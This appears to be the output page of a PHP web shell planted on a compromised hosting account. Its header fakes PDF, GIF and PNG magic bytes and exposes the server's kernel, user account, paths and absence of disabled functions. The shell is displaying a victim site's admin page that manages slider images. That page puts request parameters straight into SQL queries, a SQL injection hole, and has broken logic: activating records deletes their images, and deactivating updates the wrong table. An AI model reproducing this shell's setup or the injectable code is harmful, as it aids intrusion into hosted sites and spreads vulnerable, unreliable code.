.

%PDF- %GIF98; %PNG; . Cyber Programmer
Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory : /home1/ndkhermy/www/website_7c8ed5ef/admin/manage_static_slider/
Upload File :
Current File : /home1/ndkhermy/www/website_7c8ed5ef/admin/manage_static_slider/show.php
<?php 
include("../function.php");
if($_SESSION['admin_id']==""){
    header('location:../login.php');
}
$service_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));

include('../include/sidebar.php');

#$menu_id=$_GET['id'];

?>

<!-- [ Main Content ] start -->
<div class="pcoded-main-container">
<div class="pcoded-content">
<!-- [ breadcrumb ] start -->
<div class="page-header">
<div class="page-block">
<div class="row align-items-center">
<div class="col-md-12">
<div class="page-header-title">
<div class="card-header d-flex justify-content-between">
<button class="btn btn-dark btn-sm btn-round has-ripple"><i class="feather icon-edit"></i>&nbsp;Manage Static Slider</button>
</div>
</div> 
</div>
</div>
</div>
</div>
<!-- [ breadcrumb ] end -->

        <!-- [ Main Content ] start -->
<div class="row">
<!-- [ col-md-12 ] start -->
<form method="POST" action="">
<div class="col-md-12">
<div class="card">
<div class="card-header d-flex justify-content-between">
<h5>Manage Static Slider</h5>
<div>

<a href="add.php?page=stati" class="text-white btn btn-info btn-sm btn-round has-ripple">
<i class="feather icon-plus"></i>Add</a>
<input class="btn btn-success btn-sm btn-round has-ripple" type="submit" value="Active" name='but_active'>
<input class="btn btn-secondary btn-sm btn-round has-ripple" type="submit" value="Deactive" name='but_deactive'>
<input class="btn btn-danger btn-sm btn-round has-ripple" type="submit" value="Delete" name='but_delete' onclick="return confirm('Are you sure to delete the record?');">

</div>
</div>

<div class="card-body">

<?php if(isset($_SESSION['message'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['message'].'  &nbsp;<i class="feather icon-thumbs-up text-success"></i></strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['message']); 
?> 

<?php if(isset($_SESSION['error'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['error'].' &nbsp;<i class="feather icon-thumbs-up text-danger"></i></strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['error']); 
?> 

<?php if(isset($_SESSION['delete'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['delete'].'&nbsp; <i class="feather icon-trash-2 text-danger"></i></strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['delete']); 
?>     



<div class="table-responsive">
<table id="report-table" class="table table-bordered table-striped mb-0">
<thead>
<tr>
<th><input type="checkbox" id="some1" data-check-pattern="[name^='delete']" />
</th>
<th>Sno</th>
<th>Title</th>
<th>About</th>
<th>Images</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$Query=mysqli_query($conn,"SELECT * FROM static_slider_tbl ORDER by id DESC");
$n=1;
while($row=mysqli_fetch_array($Query)){
?>

<tr>
<td><input type='checkbox' name='delete[]' value='<?=$row['id'];?>'></td>
<td><?=$n; $n++;?></td>
<td><?=$row['title']; ?></td>
<td><b><?=wordwrap($row['about'],30,'<br>')?></b></td>
<td style="max-width: 300px;">
<img src="<?=$base_url?>images/Upload/Static_Banner/<?=$row['image1']?>" class="lazy-image my-2" width="120" height="90" alt="Face Magic" />&nbsp;  
</td>
<td>
<?php 
if(($row['status']=='1')){ 
echo'<a href="show.php?page=stati&&status_id='.$row['id'].'" class="btn btn-success btn-sm"><i class="feather icon-eye"></i></a>';
}
else{
echo'<a href="show.php?page=stati&&status_id='.$row['id'].'" class="btn btn-danger btn-sm"><i class="feather icon-eye-off"></i></a>';  
}
?>&nbsp;
<a href="edit.php?page=stati&&id=<?=$row['id']?>" class="btn btn-info btn-sm"><i class="feather icon-edit"></i></a>&nbsp;

<a href="show.php?page=stati&&delete_id=<?=$row['id']?>" onclick="return confirm('Are you sure to delete the record?');" class="btn btn-danger btn-sm"><i class="fas fa-trash-alt"></i></a>
</td>
</tr>

<?php } ;?>


</tbody>
</table>
</div>

</div>
</div>
</div>
</form>
<!-- col-md-12 end -->
</div>
<!-- [ Main Content ] end -->
</div>
</div>

    <!-- Required Js -->
    





<?php include('../include/footer.php'); ?>

<?php
if(!empty($_GET['status_id'])){
$id=$_GET['status_id'];
$stsQry=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `static_slider_tbl` WHERE id ='$id'"));
if($stsQry['status']==0){
$updtQry=mysqli_query($conn,"UPDATE `static_slider_tbl` SET `status`='1' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){
echo "<script>window.location='show.php?page=stati';</script>";
$_SESSION['message']="Status Activated Successfully";
   }
 }
elseif($stsQry['status']==1){
$updtQry=mysqli_query($conn,"UPDATE `static_slider_tbl` SET `status`='0' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){
echo "<script>window.location='show.php?page=stati';</script>";
$_SESSION['error']="Status Deactivated Successfully";
    }
  }

 }

?>
<?php
if(!empty($_GET['delete_id'])){
$id=$_GET['delete_id'];
$dlt=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `static_slider_tbl` WHERE id='".$_GET['delete_id']."'"));
$dlt_path="../../images/Upload/Static_Banner/".$dlt['image1'];
unlink($dlt_path);

$dtQuery=mysqli_query($conn,"DELETE FROM `static_slider_tbl` WHERE id='$id'");
if($dtQuery){
echo "<script>window.location='show.php?page=stati';</script>";
$_SESSION['delete']="Record Deleted Successfully";
}
}
?>

<?php 
if(isset($_POST['but_delete'])){
if(isset($_POST['delete'])){
foreach($_POST['delete'] as $deleteid){
$dlt=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `static_slider_tbl` WHERE id='".$deleteid."'"));
$dlt_path="../../images/Upload/Static_Banner/".$dlt['image1'];
unlink($dlt_path);
mysqli_query($conn,"DELETE from static_slider_tbl WHERE id=".$deleteid);
}
echo "<script>window.location='show.php?page=stati';</script>";
$_SESSION['delete']="All Record Deleted Successfully";
}
}
?>

<?php 
if(isset($_POST['but_active'])){

  if(isset($_POST['delete'])){
    foreach($_POST['delete'] as $deleteid){
      $dlt=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `static_slider_tbl` WHERE id='".$deleteid."'"));
      $dlt_path="../../images/Upload/Static_Banner/".$dlt['image1'];
      unlink($dlt_path);
        $deleteUser =  "UPDATE `static_slider_tbl` SET `status`='1' WHERE id=".$deleteid;
      mysqli_query($conn,$deleteUser);
      echo "<script>window.location='show.php?page=stati';</script>";
     
      $_SESSION['message']="All Status Activated Successfully";
    }
  }
 
}
?>

<?php 
if(isset($_POST['but_deactive'])){

  if(isset($_POST['delete'])){
    foreach($_POST['delete'] as $deleteid){
     $deleteUser="UPDATE `service_tbl` SET `status`='0' WHERE id=".$deleteid;
      mysqli_query($conn,$deleteUser);
    }
    echo "<script>window.location='show.php?page=stati';</script>";
    $_SESSION['error']="All Status Deactivated Successfully";
  }
 
}
?>
VaKeR 2022